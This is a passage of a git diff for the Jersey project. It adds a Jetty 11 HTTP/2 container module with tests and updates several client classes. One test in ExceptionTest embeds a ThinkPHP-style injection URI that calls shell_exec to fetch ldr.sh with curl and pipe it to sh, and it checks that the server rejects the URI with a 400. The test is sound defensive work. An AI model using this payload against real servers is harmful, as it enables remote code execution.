(ServerConnector) server.getConnectors()[0]; + final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class); + + /** + * Obtain prepared config + */ + final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration(); + + /** + * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server + */ + final List factories = getConnectionFactories(config, sslContextFactory); + + /** + * adding connection factories for H2/H2C protocol + */ + for (final ConnectionFactory factory : factories) { + httpServerConnector.addConnectionFactory(factory); + } + server.setConnectors(new Connector[]{httpServerConnector}); + + /** + * Starting the server if required + */ + if (start) { + try { + // Start the server. + server.start(); + } catch (final Exception e) { + throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e); + } + } + return server; + } + + private static List getConnectionFactories(final HttpConfiguration config, + final SslContextFactory.Server sslContextFactory) { + final List factories = new ArrayList<>(); + if (sslContextFactory != null) { + factories.add(new HTTP2ServerConnectionFactory(config)); + final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory(); + alpn.setDefaultProtocol("h2"); + factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol())); + factories.add(alpn); + } else { + factories.add(new HTTP2CServerConnectionFactory(config)); + } + + return factories; + } +} diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java new file mode 100644 index 00000000000..edc461ed26e --- /dev/null +++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java @@ -0,0 +1,43 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.Jetty11HttpContainer; +import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.server.spi.ContainerProvider; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; + +import static org.glassfish.jersey.jetty.Jetty11HttpContainerProvider.HANDLER_NAME; + +public final class Jetty11Http2ContainerProvider implements ContainerProvider { + + @Override + public T createContainer(final Class type, final Application application) throws ProcessingException { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || Jetty11HttpContainer.class == type)) { + return type.cast(new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class, application)); + } + return null; + } +} + diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java new file mode 100644 index 00000000000..a402b271157 --- /dev/null +++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java @@ -0,0 +1,20 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Jersey Jetty HTTP2 container classes. + */ +package org.glassfish.jersey.jetty.http2; diff --git a/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider new file mode 100644 index 00000000000..2cd5ddabdd5 --- /dev/null +++ b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider @@ -0,0 +1 @@ +org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerProvider diff --git a/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties new file mode 100644 index 00000000000..ba290bd84e5 --- /dev/null +++ b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties @@ -0,0 +1,19 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +# {0} - status code; {1} - status reason message +error.when.creating.server=Exception thrown when trying to create jetty server. +not.supported=Jetty container is not supported on JDK version less than 17. \ No newline at end of file diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java new file mode 100644 index 00000000000..1911add67cb --- /dev/null +++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java @@ -0,0 +1,126 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import java.net.URI; +import java.security.AccessController; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.RuntimeType; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ResourceConfig; + +import org.eclipse.jetty.server.Server; +import org.junit.jupiter.api.AfterEach; + +/** + * Abstract Jetty Server unit tester. + * + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Miroslav Fuksa + */ +public abstract class AbstractJetty11ServerTester { + + private static final Logger LOGGER = Logger.getLogger(AbstractJetty11ServerTester.class.getName()); + + public static final String CONTEXT = ""; + private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998 + + /** + * Get the port to be used for test application deployments. + * + * @return The HTTP port of the URI + */ + protected final int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + + try { + final int i = Integer.parseInt(value); + if (i <= 0) { + throw new NumberFormatException("Value not positive."); + } + return i; + } catch (NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid positive integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + return DEFAULT_PORT; + } + + private final int getPort(RuntimeType runtimeType) { + switch (runtimeType) { + case SERVER: + return getPort(); + case CLIENT: + return server.getURI().getPort(); + default: + throw new IllegalStateException("Unexpected runtime type"); + } + } + + private volatile Server server; + + public UriBuilder getUri() { + return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT); + } + + public void startServer(Class... resources) { + ResourceConfig config = new ResourceConfig(resources); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final URI baseUri = getBaseUri(); + server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI()); + } + + public void startServer(ResourceConfig config) { + final URI baseUri = getBaseUri(); + server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI()); + } + + public URI getBaseUri() { + return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build(); + } + + public void stopServer() { + try { + server.stop(); + server = null; + LOGGER.log(Level.INFO, "Jetty-http server stopped."); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @AfterEach + public void tearDown() { + if (server != null) { + stopServer(); + } + } +} diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java new file mode 100644 index 00000000000..0a3774b39bd --- /dev/null +++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java @@ -0,0 +1,169 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.concurrent.atomic.AtomicInteger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Response; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.is; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Michal Gajdos + */ +public class AsyncTest extends AbstractJetty11ServerTester { + + @Path("/async") + @SuppressWarnings("VoidMethodAnnotatedWithGET") + public static class AsyncResource { + + public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0); + + @GET + public void asyncGet(@Suspended final AsyncResponse asyncResponse) { + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep() + try { + Thread.sleep(5000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(final AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.") + .build()); + } + }); + asyncResponse.setTimeout(3, TimeUnit.SECONDS); + + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep() + try { + Thread.sleep(7000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("multiple-invocations") + public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) { + INVOCATION_COUNT.incrementAndGet(); + + new Thread(new Runnable() { + @Override + public void run() { + asyncResponse.resume("OK"); + } + }).start(); + } + } + + private Client client; + + @BeforeEach + public void setUp() throws Exception { + startServer(AsyncResource.class); + client = ClientBuilder.newClient(); + } + + @Override + @AfterEach + public void tearDown() { + super.tearDown(); + client = null; + } + + @Test + public void testAsyncGet() throws ExecutionException, InterruptedException { + final Future responseFuture = client.target(getUri().path("/async")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + // get() waits for the response + assertEquals("DONE", response.readEntity(String.class)); + } + + @Test + public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException { + final Future responseFuture = client.target(getUri().path("/async/timeout")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } + + /** + * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request. + */ + @Test + public void testAsyncMultipleInvocations() throws Exception { + final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get(); + + assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1)); + + assertThat(response.getStatus(), is(200)); + assertThat(response.readEntity(String.class), is("OK")); + } +} diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java new file mode 100644 index 00000000000..6f0ad228d80 --- /dev/null +++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java @@ -0,0 +1,97 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.apache.http.HttpHost; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.message.BasicHttpRequest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.PathParam; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import java.io.IOException; +import java.net.URI; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + */ +public class ExceptionTest extends AbstractJetty11ServerTester { + @Path("{status}") + public static class ExceptionResource { + @GET + public String get(@PathParam("status") int status) { + throw new WebApplicationException(status); + } + + } + + @Test + public void test400StatusCodeForIllegalSymbolsInURI() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction" + + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0" + + ".0.1/ldr.sh|sh"; + BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCodeForIllegalHeaderValue() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400"); + request.addHeader("X-Forwarded-Host", "_foo.com"); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCode() throws IOException { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("400").build()); + assertEquals(400, r.request().get(Response.class).getStatus()); + } + + @Test + public void test500StatusCode() { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("500").build()); + + assertEquals(500, r.request().get(Response.class).getStatus()); + } +} diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java new file mode 100644 index 00000000000..517d6e24aed --- /dev/null +++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java @@ -0,0 +1,133 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener; +import org.glassfish.jersey.server.spi.Container; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import static org.hamcrest.CoreMatchers.equalTo; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Reload and ContainerLifecycleListener support test. + * + * @author Paul Sandoz + * @author Marek Potociar + */ +public class LifecycleListenerTest extends AbstractJetty11ServerTester { + + @Path("/one") + public static class One { + @GET + public String get() { + return "one"; + } + } + + @Path("/two") + public static class Two { + @GET + public String get() { + return "two"; + } + } + + public static class Reloader extends AbstractContainerLifecycleListener { + Container container; + + public void reload(ResourceConfig newConfig) { + container.reload(newConfig); + } + + public void reload() { + container.reload(); + } + + @Override + public void onStartup(Container container) { + this.container = container; + } + + } + + @Test + public void testReload() { + final ResourceConfig rc = new ResourceConfig(One.class); + + Reloader reloader = new Reloader(); + rc.registerInstances(reloader); + + startServer(rc); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals(404, r.path("two").request().get(Response.class).getStatus()); + + // add Two resource + reloader.reload(new ResourceConfig(One.class, Two.class)); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals("two", r.path("two").request().get(String.class)); + } + + static class StartStopListener extends AbstractContainerLifecycleListener { + volatile boolean started; + volatile boolean stopped; + + @Override + public void onStartup(Container container) { + started = true; + } + + @Override + public void onShutdown(Container container) { + stopped = true; + } + } + + @Test + public void testStartupShutdownHooks() { + final StartStopListener listener = new StartStopListener(); + + startServer(new ResourceConfig(One.class).register(listener)); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertThat(r.path("one").request().get(String.class), equalTo("one")); + assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404)); + + stopServer(); + + assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called."); + assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called."); + } +} diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java new file mode 100644 index 00000000000..d5b7cc59487 --- /dev/null +++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java @@ -0,0 +1,62 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Response; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class OptionsTest extends AbstractJetty11ServerTester { + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + } + + @Test + public void testFooBarOptions() { + startServer(HelloWorldResource.class); + Client client = ClientBuilder.newClient(); + Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(0, response.getLength()); + assertEquals("foo/bar", response.getMediaType().toString()); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + +} diff --git a/containers/netty-http/pom.xml b/containers/netty-http/pom.xml index ff8d536f12a..7f0329e876f 100644 --- a/containers/netty-http/pom.xml +++ b/containers/netty-http/pom.xml @@ -1,7 +1,7 @@ - com.sun.activation - jakarta.activation - ${jakarta.activation.version} + org.eclipse.angus + angus-activation test - junit - junit + org.junit.jupiter + junit-jupiter test org.hamcrest - hamcrest-library + hamcrest test diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ChunkedInputReader.java b/core-client/src/main/java/org/glassfish/jersey/client/ChunkedInputReader.java index 72374ccc16c..74c8cfbef74 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/ChunkedInputReader.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/ChunkedInputReader.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,6 +24,7 @@ import jakarta.ws.rs.ConstrainedTo; import jakarta.ws.rs.RuntimeType; import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.core.Context; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.ext.MessageBodyReader; @@ -43,10 +44,15 @@ @ConstrainedTo(RuntimeType.CLIENT) class ChunkedInputReader implements MessageBodyReader { + private final Provider messageBodyWorkers; + private final Provider propertiesDelegateProvider; + @Inject - private Provider messageBodyWorkers; - @Inject - private Provider propertiesDelegateProvider; + public ChunkedInputReader(@Context Provider messageBodyWorkers, + @Context Provider propertiesDelegateProvider) { + this.messageBodyWorkers = messageBodyWorkers; + this.propertiesDelegateProvider = propertiesDelegateProvider; + } @Override public boolean isReadable(Class aClass, Type type, Annotation[] annotations, MediaType mediaType) { diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java index fb9863258cd..b072c1da442 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2018 Payara Foundation and/or its affiliates. * * This program and the accompanying materials are made available under the @@ -35,6 +35,7 @@ import org.glassfish.jersey.CommonProperties; import org.glassfish.jersey.ExtendedConfig; import org.glassfish.jersey.client.internal.LocalizationMessages; +import org.glassfish.jersey.client.innate.inject.NonInjectionManager; import org.glassfish.jersey.client.internal.inject.ParameterUpdaterConfigurator; import org.glassfish.jersey.client.spi.Connector; import org.glassfish.jersey.client.spi.ConnectorProvider; @@ -415,7 +416,7 @@ private ClientRuntime initRuntime() { final State runtimeCfgState = this.copy(); runtimeCfgState.markAsShared(); - InjectionManager injectionManager = Injections.createInjectionManager(); + final InjectionManager injectionManager = findInjectionManager(); injectionManager.register(new ClientBinder(runtimeCfgState.getProperties())); final ClientBootstrapBag bootstrapBag = new ClientBootstrapBag(); @@ -476,6 +477,14 @@ private ClientRuntime initRuntime() { return crt; } + private final InjectionManager findInjectionManager() { + try { + return Injections.createInjectionManager(RuntimeType.CLIENT); + } catch (IllegalStateException ise) { + return new NonInjectionManager(true); + } + } + @Override public boolean equals(final Object o) { if (this == o) { diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java index 411100bb7fd..aa0676bdcb5 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,6 +24,9 @@ import org.glassfish.jersey.internal.util.PropertiesHelper; import org.glassfish.jersey.internal.util.PropertyAlias; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; + /** * Jersey client implementation configuration properties. * @@ -444,7 +447,7 @@ public final class ClientProperties { EXPECT_100_CONTINUE_THRESHOLD_SIZE = "jersey.config.client.request.expect.100.continue.threshold.size"; /** - * Default threshold size (64kb) after which which Expect:100-Continue header would be applied before + * Default threshold size (64kb) after which Expect:100-Continue header would be applied before * the main request. * * @since 2.32 @@ -463,6 +466,50 @@ public final class ClientProperties { */ public static final String QUERY_PARAM_STYLE = "jersey.config.client.uri.query.param.style"; + /** + *

    + * Most connectors support HOST header value to be used as an SNIHostName. However, the HOST header is restricted in JDK. + * {@code HttpUrlConnector} and {@code JavaNetHttpConnector} need + * to have an extra System Property set to allow HOST header. + * As an option to HOST header, this property allows the HOST name to be pre-set on a Client and does not need to + * be set on each request. + *

    + *

    + * The value MUST be an instance of {@link java.lang.String}. + *

    + *

    + * The name of the configuration property is {@value}. + *

    + * @since 3.1.2 + */ + public static final String SNI_HOST_NAME = "jersey.config.client.sniHostName"; + + /** + * Sets the {@link org.glassfish.jersey.client.spi.ConnectorProvider} class. Overrides the value from META-INF/services. + * + *

    + * The value MUST be an instance of {@code String}. + *

    + *

    + * The property is recognized by {@link ClientBuilder}. + *

    + *

    + * The name of the configuration property is {@value}. + *

    + * @since 2.40 + */ + public static final String CONNECTOR_PROVIDER = "jersey.config.client.connector.provider"; + + /** + *

    The {@link javax.net.ssl.SSLContext} {@link java.util.function.Supplier} to be used to set ssl context in the current + * HTTP request. Has precedence over the {@link Client#getSslContext()}. + *

    + *

    Currently supported by the default {@code HttpUrlConnector} and by {@code NettyConnector} only.

    + * @since 2.41 + * @see org.glassfish.jersey.client.SslContextClientBuilder + */ + public static final String SSL_CONTEXT_SUPPLIER = "jersey.config.client.ssl.context.supplier"; + private ClientProperties() { // prevents instantiation } diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java index 45cb9948449..9b0e9c1e483 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,7 +33,6 @@ import jakarta.ws.rs.core.Configuration; import jakarta.ws.rs.core.Cookie; import jakarta.ws.rs.core.GenericType; -import jakarta.ws.rs.core.HttpHeaders; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.Response; @@ -42,6 +41,7 @@ import jakarta.ws.rs.ext.WriterInterceptor; import org.glassfish.jersey.client.internal.LocalizationMessages; +import 